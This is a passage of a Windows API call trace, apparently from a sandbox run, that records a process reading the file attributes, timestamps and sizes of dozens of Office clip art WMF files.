	[0051.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02262_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc288 | out: lpFileInformation=0x124cc288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2)) returned 1
	[0051.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc2d8 | out: lpFileInformation=0x124cc2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e)) returned 1
	[0051.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc328 | out: lpFileInformation=0x124cc328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2)) returned 1
	[0051.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc378 | out: lpFileInformation=0x124cc378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0)) returned 1
	[0051.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc3c8 | out: lpFileInformation=0x124cc3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26)) returned 1
	[0051.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc418 | out: lpFileInformation=0x124cc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4)) returned 1
	[0051.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc468 | out: lpFileInformation=0x124cc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928)) returned 1
	[0051.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc4b8 | out: lpFileInformation=0x124cc4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400)) returned 1
	[0051.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc508 | out: lpFileInformation=0x124cc508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090)) returned 1
	[0051.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc558 | out: lpFileInformation=0x124cc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584)) returned 1
	[0051.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc5a8 | out: lpFileInformation=0x124cc5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0)) returned 1
	[0051.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc5f8 | out: lpFileInformation=0x124cc5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc648 | out: lpFileInformation=0x124cc648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc698 | out: lpFileInformation=0x124cc698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc6e8 | out: lpFileInformation=0x124cc6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc738 | out: lpFileInformation=0x124cc738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d2a)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc788 | out: lpFileInformation=0x124cc788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc70)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc7d8 | out: lpFileInformation=0x124cc7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b17c400, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b17c400, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1
	[0051.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc828 | out: lpFileInformation=0x124cc828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b00e400, ftCreationTime.dwHighDateTime=0x1bd4afa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b00e400, ftLastWriteTime.dwHighDateTime=0x1bd4afa, nFileSizeHigh=0x0, nFileSizeLow=0x8b4)) returned 1
	[0051.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc878 | out: lpFileInformation=0x124cc878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb921ed00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb921ed00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3380)) returned 1
	[0051.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc8c8 | out: lpFileInformation=0x124cc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31379600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x31379600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x692)) returned 1
	[0051.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc918 | out: lpFileInformation=0x124cc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe160cb00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe160cb00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x282c)) returned 1
	[0051.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc968 | out: lpFileInformation=0x124cc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2108)) returned 1
	[0051.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cc9b8 | out: lpFileInformation=0x124cc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d695e00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d695e00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1f24)) returned 1
	[0051.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cca08 | out: lpFileInformation=0x124cca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2178)) returned 1
	[0051.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cca58 | out: lpFileInformation=0x124cca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1664)) returned 1
	[0051.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccaa8 | out: lpFileInformation=0x124ccaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x41a0)) returned 1
	[0051.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccaf8 | out: lpFileInformation=0x124ccaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3998)) returned 1
	[0051.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccb48 | out: lpFileInformation=0x124ccb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4)) returned 1
	[0051.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccb98 | out: lpFileInformation=0x124ccb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868)) returned 1
	[0051.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccbe8 | out: lpFileInformation=0x124ccbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc)) returned 1
	[0051.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccc38 | out: lpFileInformation=0x124ccc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a)) returned 1
	[0051.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccc88 | out: lpFileInformation=0x124ccc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14937f00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14937f00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x1020)) returned 1
	[0051.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cccd8 | out: lpFileInformation=0x124cccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37f8)) returned 1
	[0051.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccd28 | out: lpFileInformation=0x124ccd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f24df00, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f24df00, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x167c)) returned 1
	[0051.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccd78 | out: lpFileInformation=0x124ccd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49073b00, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49073b00, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x608)) returned 1
	[0051.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05870_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05870_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124ccdc8 | out: lpFileInformation=0x124ccdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44428700, ftCreationTime.dwHighDateTime=0x1bd4c05, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x44428700, ftLastWriteTime.dwHighDateTime=0x1bd4c05, nFileSizeHigh=0x0, nFileSizeLow=0x634)) returned 1
	[0051.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05930_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05930_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cce18 | out: lpFileInformation=0x124cce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x671b6e00, ftCreationTime.dwHighDateTime=0x1bd4bfa, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x671b6e00, ftLastWriteTime.dwHighDateTime=0x1bd4bfa, nFileSizeHigh=0x0, nFileSizeLow=0x7fce)) returned 1
	[0051.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06049_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cce68 | out: lpFileInformation=0x124cce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf03a600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf03a600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x121c)) returned 1
	[0051.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE06450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe06450_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x124cceb8 | out: lpFileInformation=0x124cceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59d01210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4048)) returned 1
